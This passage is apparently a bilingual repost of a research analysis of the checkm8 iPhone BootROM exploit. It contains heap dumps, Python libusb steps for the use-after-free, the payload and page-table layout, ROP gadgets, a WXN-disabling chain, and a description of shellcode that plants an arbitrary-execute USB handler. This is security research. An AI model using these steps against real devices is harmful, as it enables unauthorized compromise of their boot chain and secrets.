00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4480  // descs[4], conf string
0x80 non-free 0x240 0
00000000: 3E 03 41 00 70 00 70 00  6C 00 65 00 20 00 4D 00  >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00  65 00 20 00 44 00 65 00  o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00  20 00 28 00 44 00 46 00  v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00  64 00 65 00 29 00 FE FF  U. .M.o.d.e.)...
chunk at 0x4500  // task
0x400 non-free 0x80 0
00000000: 6B 73 61 74 00 00 00 00  E0 01 08 80 01 00 00 00  ksat............
00000010: E8 83 08 80 01 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  02 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4900  // task stack
0x4080 non-free 0x400 0
00000000: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000010: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000020: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000030: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000040: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000050: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000060: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000070: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000080: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000090: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
000000A0: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
000000B0: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
chunk at 0x8980  // io_buf
0x840 non-free 0x4080 0
00000000: 63 6D 65 6D 63 6D 65 6D  00 00 00 00 00 00 00 00  cmemcmem........
00000010: 10 00 0B 80 01 00 00 00  00 00 1B 80 01 00 00 00  ................
00000020: EF FF 00 00 00 00 00 00  10 08 0B 80 01 00 00 00  ................
00000030: 4C CC 00 00 01 00 00 00  20 08 0B 80 01 00 00 00  L....... .......
00000040: 4C CC 00 00 01 00 00 00  30 08 0B 80 01 00 00 00  L.......0.......
00000050: 4C CC 00 00 01 00 00 00  40 08 0B 80 01 00 00 00  L.......@.......
00000060: 4C CC 00 00 01 00 00 00  A0 08 0B 80 01 00 00 00  L...............
00000070: 00 06 0B 80 01 00 00 00  6C 04 00 00 01 00 00 00  ........l.......
00000080: 00 00 00 00 00 00 00 00  78 04 00 00 01 00 00 00  ........x.......
00000090: 00 00 00 00 00 00 00 00  B8 A4 00 00 01 00 00 00  ................
000000A0: 00 00 0B 80 01 00 00 00  E4 03 00 00 01 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  34 04 00 00 01 00 00 00  ........4.......
chunk at 0x91c0  // hs config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80  FA 09 04 00 00 00 FE 01  ................
00000010: 00 00 07 21 01 0A 00 00  08 00 00 00 00 00 00 00  ...!............
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x9240  // ls config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80  FA 09 04 00 00 00 FE 01  ................
00000010: 00 00 07 21 01 0A 00 00  08 00 00 00 00 00 00 00  ...!............
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x92c0
0x80 non-free 0x0 0
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 6C CC 00 00 01 00 00 00  00 08 0B 80 01 00 00 00  l...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9340
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF C0 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 48 DE 00 00 01 00 00 00  C0 93 1B 80 01 00 00 00  H...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x93c0
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  40 94 1B 80 01 00 00 00  ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9440
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x94c0
0x180 non-free 0x80 0
00000000: E4 03 43 00 50 00 49 00  44 00 3A 00 38 00 30 00  ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00  50 00 52 00 56 00 3A 00  1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00  50 00 46 00 4D 00 3A 00  1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00  43 00 45 00 50 00 3A 00  0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00  44 00 49 00 44 00 3A 00  0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00  43 00 49 00 44 00 3A 00  0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00  34 00 30 00 33 00 36 00  0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00  45 00 35 00 32 00 36 00  2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00  4C 00 3A 00 33 00 43 00   .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00  47 00 3A 00 5B 00 69 00   .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00  2D 00 32 00 36 00 39 00  B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00  30 00 2E 00 31 00 2E 00  6...0...0...1...
chunk at 0x9640  // zlps[1]
0x80 non-free 0x180 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x96c0  // descs[0], Nonce
0x140 non-free 0x80 0
00000000: EA 03 20 00 4E 00 4F 00  4E 00 43 00 3A 00 35 00  .. .N.O.N.C.:.5.
00000010: 35 00 46 00 38 00 43 00  41 00 39 00 37 00 41 00  5.F.8.C.A.9.7.A.
00000020: 46 00 45 00 36 00 30 00  36 00 43 00 39 00 41 00  F.E.6.0.6.C.9.A.
00000030: 41 00 31 00 31 00 32 00  44 00 38 00 42 00 37 00  A.1.1.2.D.8.B.7.
00000040: 43 00 46 00 33 00 35 00  30 00 46 00 42 00 36 00  C.F.3.5.0.F.B.6.
00000050: 35 00 37 00 36 00 43 00  41 00 41 00 44 00 30 00  5.7.6.C.A.A.D.0.
00000060: 38 00 43 00 39 00 35 00  39 00 39 00 34 00 41 00  8.C.9.5.9.9.4.A.
00000070: 46 00 32 00 34 00 42 00  43 00 38 00 44 00 32 00  F.2.4.B.C.8.D.2.
00000080: 36 00 37 00 30 00 38 00  35 00 43 00 31 00 20 00  6.7.0.8.5.C.1. .
00000090: 53 00 4E 00 4F 00 4E 00  3A 00 42 00 42 00 41 00  S.N.O.N.:.B.B.A.
000000A0: 30 00 41 00 36 00 46 00  31 00 36 00 42 00 35 00  0.A.6.F.1.6.B.5.
000000B0: 31 00 37 00 45 00 31 00  44 00 33 00 39 00 32 00  1.7.E.1.D.3.9.2.
chunk at 0x9800  // descs[1], Manufacturer
0x80 non-free 0x140 0
00000000: 16 03 41 00 70 00 70 00  6C 00 65 00 20 00 49 00  ..A.p.p.l.e. .I.
00000010: 6E 00 63 00 2E 00 D6 D7  D8 D9 DA DB DC DD DE DF  n.c.............
00000020: E0 E1 E2 E3 E4 E5 E6 E7  E8 E9 EA EB EC ED EE EF  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9880  // descs[2], Product
0x80 non-free 0x80 0
00000000: 3E 03 41 00 70 00 70 00  6C 00 65 00 20 00 4D 00  >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00  65 00 20 00 44 00 65 00  o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00  20 00 28 00 44 00 46 00  v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00  64 00 65 00 29 00 FE FF  U. .M.o.d.e.)...
chunk at 0x9900  // descs[3], Serial number
0x140 non-free 0x80 0
00000000: C6 03 43 00 50 00 49 00  44 00 3A 00 38 00 30 00  ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00  50 00 52 00 56 00 3A 00  1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00  50 00 46 00 4D 00 3A 00  1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00  43 00 45 00 50 00 3A 00  0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00  44 00 49 00 44 00 3A 00  0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00  43 00 49 00 44 00 3A 00  0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00  34 00 30 00 33 00 36 00  0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00  45 00 35 00 32 00 36 00  2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00  4C 00 3A 00 33 00 43 00   .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00  47 00 3A 00 5B 00 69 00   .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00  2D 00 32 00 36 00 39 00  B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00  30 00 2E 00 31 00 2E 00  6...0...0...1...
chunk at 0x9a40  // zlps[0]
0x80 non-free 0x140 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  40 96 1B 80 01 00 00 00  ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9ac0
0x46540 free 0x80 0
00000000: 00 00 00 00 00 00 00 00  F8 8F 08 80 01 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  F8 8F 08 80 01 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.

您也可以通过使位于IO缓冲区后面的配置描述符High SpeedFull Speed溢出来获得有趣的效果。 配置描述符的字段之一负责其总长度。 通过溢出该字段,我们可以读取描述符之外的内容。 您可以尝试自己修改漏洞利用程序。

2.在不清除全局状态的情况下分配和释放IO缓冲区 (2. Allocation and freeing of the IO buffer without clearing the global state)

device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer. Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.

在此阶段,将创建一个不完整的OUT请求以上传图像。 同时,初始化全局状态,并将堆中缓冲区的地址写入io_buffer 。 然后,使用DFU_CLR_STATUS请求重置DFU ,然后开始新的DFU迭代。

3. use-after-free覆盖功能覆盖usb_device_io_request (3. Overwriting usb_device_io_request in the heap with use-after-free)

device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite, whose content was defined at the first stage.

在此阶段,在堆中分配了一个usb_device_io_request类型对象,并用t8010_overwrite溢出,该对象的内容在第一阶段定义。

The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.

t8010_nop_gadget0x1800B0800的值应使字段callbackusb_device_io_request结构的next溢出。

t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io. This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.

t8010_nop_gadget如下所示,并与它的名称一致,但是除了函数返回之外,还还原了先前的LR寄存器,因此在usb_core_complete_endpoint_iocallback函数之后, free调用被跳过。 这很重要,因为我们会由于溢出而损坏堆的元数据,这在释放尝试的情况下会影响利用。

bootrom:000000010000CC6C                 LDP             X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70                 LDP             X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74                 RET

next points to INSECURE_MEMORY + 0x800. Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain, which we'll discuss later on.

next指向INSECURE_MEMORY + 0x800 。 稍后, INSECURE_MEMORY将存储漏洞利用程序的有效负载,并且在有效负载中偏移量为0x800 ,有一个callback-chain ,我们将在后面进行讨论。

4.放置有效载荷 (4. Placing the payload)

for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                   payload[i:i+0x800], 50)

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:

在此阶段,每个随后的数据包都放入为图像分配的存储区域中。 有效负载如下所示:

0x1800B0000: t8010_shellcode  # initializing shell-code
...
0x1800B0180: t8010_handler  # new usb request handler
...
0x1800B0400: 0x1000006a5  # fake translation table descriptor
                          # corresponds to SecureROM (0x100000000 -> 0x100000000)
                          # matches the value in the original translation table
...
0x1800B0600: 0x60000180000625  # fake translation table descriptor
                               # corresponds to SecureRAM (0x180000000 -> 0x180000000)
                               # matches the value in the original translation table
0x1800B0608: 0x1800006a5  # fake translation table descriptor
                          # new value translates 0x182000000 into 0x180000000
                          # plus, in this descriptor,there are rights for code execution
0x1800B0610: disabe_wxn_arm64  # code for disabling WXN
0x1800B0800: usb_rop_callbacks  # callback-chain

5.执行callback-chain (5. Execution of callback-chain)

dfu.usb_reset(device)
dfu.release_device(device)

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:

USB重置后,开始通过循环列表取消队列中不完整的usb_device_io_request的循环。 在前面的阶段中,我们替换了队列的其余部分,这使我们能够控制callback链。 要构建此链,我们使用以下小工具:

bootrom:000000010000CC4C                 LDP             X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50                 LSL             W2, W2, W9
bootrom:000000010000CC54                 MOV             X0, X8 ; arg0
bootrom:000000010000CC58                 BLR             X10 ; call
bootrom:000000010000CC5C                 CMP             W0, #0
bootrom:000000010000CC60                 CSEL            W0, W0, W19, LT
bootrom:000000010000CC64                 B               loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68                           ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68                 MOV             W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C                           ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C                 LDP             X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70                 LDP             X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74                 RET

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x.

如您所见,在指向结构的指针的偏移量为0x70处,将加载调用的地址及其第一个参数。 使用此小工具,我们可以轻松地对任意fx进行任何f(x)类型调用。

The entire call chain can be easily emulated with Unicorn Engine. We did it with our modified version of the plugin uEmu.

整个呼叫链可以使用Unicorn Engine轻松模拟。 我们使用插件uEmu的修改版来做到这一点

The results of the entire chain for iPhone 7 can be found below.

iPhone 7整个链的结果可以在下面找到。

5.1。 dc_civac 0x1800B0600 (5.1. dc_civac 0x1800B0600)
000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.

清除虚拟地址中的处理器缓存并使之无效。 这将使处理器稍后处理我们的有效负载。

5.2。 dmb (5.2. dmb)
0000000100000478: DMB SY
000000010000047C: RET

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.

内存屏障可确保在执行此指令之前完成的所有操作均已完成。 出于优化目的,高性能处理器中的指令可以按与编程的顺序不同的顺序执行。

5.3。 enter_critical_section() (5.3. enter_critical_section())

Then, interrupts are masked for the atomic execution of further operations.

然后,屏蔽中断以原子方式执行进一步的操作。

5.4。 write_ttbr0(0x1800B0000) (5.4. write_ttbr0(0x1800B0000))
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

A new value of the table register TTBR0_EL1 is set in 0x1800B0000. It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:

表寄存器的新值TTBR0_EL1被设定0x1800B0000 。 这是漏洞利用的有效负载所在的“ INSECURE MEMORY ”地址。 如前所述,转换描述符位于有效负载中的某些偏移处:

...
0x1800B0400: 0x1000006a5           0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625      0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5           0x182000000 -> 0x180000000 (rx)
...
5.5。 tlbi (5.5. tlbi)
0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET

The translation table is invalidated in order to translate addresses according to our new translation table.

转换表无效,以便根据我们的新转换表转换地址。

5.6。 0x1820B0610 - disable_wxn_arm64 (5.6. 0x1820B0610 - disable_wxn_arm64)
MOV  X1, #0x180000000
ADD  X2, X1, #0xA0000
ADD  X1, X1, #0x625
STR  X1, [X2,#0x600]
DMB  SY

MOV  X0, #0x100D
MSR  SCTLR_EL1, X0
DSB  SY
ISB

RET

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.

WXN (写许可权意味着从不执行)被禁用,以允许我们在RW存储器中执行代码。 由于修改了转换表,因此可以执行WXN禁用代码。

5.7。 write_ttbr0(0x1800A0000) (5.7. write_ttbr0(0x1800A0000))
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.

恢复TTBR0_EL1转换寄存器的原始值。 在虚拟地址转换期间,必须正确执行BootROM ,因为INSECURE_MEMORY的数据将被覆盖。

5.8。 tlbi (5.8. tlbi)

The translation table is reset again.

转换表再次重置。

5.9。 exit_critical_section() (5.9. exit_critical_section())

Interrupt handling is back to normal.

中断处理恢复正常。

5.10。 0x1800B0000 (5.10. 0x1800B0000)

Control is transferred to the initializing shellcode.

控制权转移到初始化shellcode

Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.

因此, callback-chain的主要任务是禁用WXN并将控制权转移到RW内存中的shellcode

6.执行shellcode (6. Execution of shellcode)

The shellcode is in src/checkm8_arm64.S and does the following:

shellcodesrc/checkm8_arm64.S ,并执行以下操作:

6.1。 覆盖USB配置描述符 (6.1. Overwriting USB configuration descriptors)

In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.

在全局存储器中,存储了指向堆中配置描述符usb_core_hs_configuration_descriptorusb_core_fs_configuration_descriptor两个指针。 在第三阶段,这些描述符被损坏。 它们是与USB设备正确交互所必需的,因此shellcode会将它们还原。

6.2。 更改USBSerialNumber (6.2. Changing USBSerialNumber)

A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.

创建一个带有序列号的新字符串描述符,并添加一个子字符串" PWND:[checkm8]" 。 这将帮助我们了解该漏洞利用是否成功。

6.3。 覆盖USB请求处理程序的指针 (6.3. Overwriting the pointer of the USB request handler)

The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.

指向接口的USB请求处理程序的原始指针将被指向新处理程序的指针覆盖,该指针将在下一步中放入内存中。

6.4。 将USB请求处理程序复制到TRAMPOLINE存储区( 0x1800AFC00 ) (6.4. Copying USB request handler into TRAMPOLINE memory area (0x1800AFC00))

Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy, memset, and exec (calling an arbitrary address with an arbitrary set of arguments).

收到USB请求后,新处理程序将检查请求的wValue是否与0xffff ,如果它们不相等,则将控制权转移回原始处理程序。 如果它们相等,则可以在新的处理程序中执行各种命令,例如memcpymemsetexec (使用任意一组参数调用任意地址)。

Thus, the analysis of the exploit is complete.

至此,漏洞利用程序的分析完成。

利用USB的较低级别实施漏洞利用 (The implementation of the exploit at a lower level of working with USB)

As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield. The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield, all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.

作为奖励和较低级别攻击的一个示例,我们发布了带有USB Host Shield Arduinocheckm8实现的概念证明 。 PoC仅适用于iPhone 7但可以轻松移植到其他设备。 将处于DFU模式的iPhone 7连接到USB Host Shield ,将执行本文所述的所有步骤,并且设备将进入PWND:[checkm8]模式。 然后,可以使用ipwndfu通过USB将其连接到PC,以与之配合使用(以转储内存,使用加密密钥等)。 这种方法比使用具有最小超时的异步请求更稳定,因为我们直接使用USB控制器。 我们使用了USB_Host_Shield_2.0库。 需要稍作修改; 补丁文件也位于存储库中。

代替结论 (In place of a conclusion)

Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n, and since the vulnerability is unfixable, it will always work on vulnerable chips (A5 to A11) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch, Apple TV, etc. We expect more interesting projects for Apple devices to come.

分析checkm8非常有趣。 我们希望本文对社区有用,并能激发这一领域的新研究。 该漏洞将继续影响越狱社区。 基于checkm8的越狱已经在开发中-checkra1n ,并且由于该漏洞是不可修复的 ,因此无论iOS版本如何,它始终可以在易受攻击的芯片( A5A11 )上运行。 另外,还有许多易受攻击的设备,例如iWatchApple TV等。我们预计将会有更多针对Apple设备的有趣项目。

Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8, you can already boot iOS devices in verbose mode, dump SecureROM, or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable. Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services. Thus, with checkm8, Apple research becomes way easier and cheaper.

除了越狱,此漏洞还将影响Apple设备的研究人员。 使用checkm8 ,您已经可以详细模式启动iOS设备,转储SecureROM或使用GID密钥解密固件映像。 虽然,此漏洞利用最有趣的应用程序是使用特殊的JTAG / SWD电缆在易受攻击的设备上进入调试模式。 在此之前,只能使用很难获得的特殊原型或借助特殊服务来完成 。 因此,使用checkm8Apple研究变得更容易和更便宜。

参考文献 (References)

  1. Jonathan Levin, *OS Internals: iBoot

    Jonathan Levin,* OS内部:iBoot

  2. Apple, iOS Security Guide

    Apple,iOS安全指南

  3. littlelailo, apollo.txt

    littlelailo,apollo.txt

  4. usb.org

    usb.org

  5. USB in a NutShell

    NutShell中的USB

  6. ipwndfu

    ipwndfu

  7. an ipwndfu fork from LinusHenze

    来自LinusHenze的ipwndfu叉子

翻译自: https://habr.com/en/company/dsec/blog/472762/

checkm基因组

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值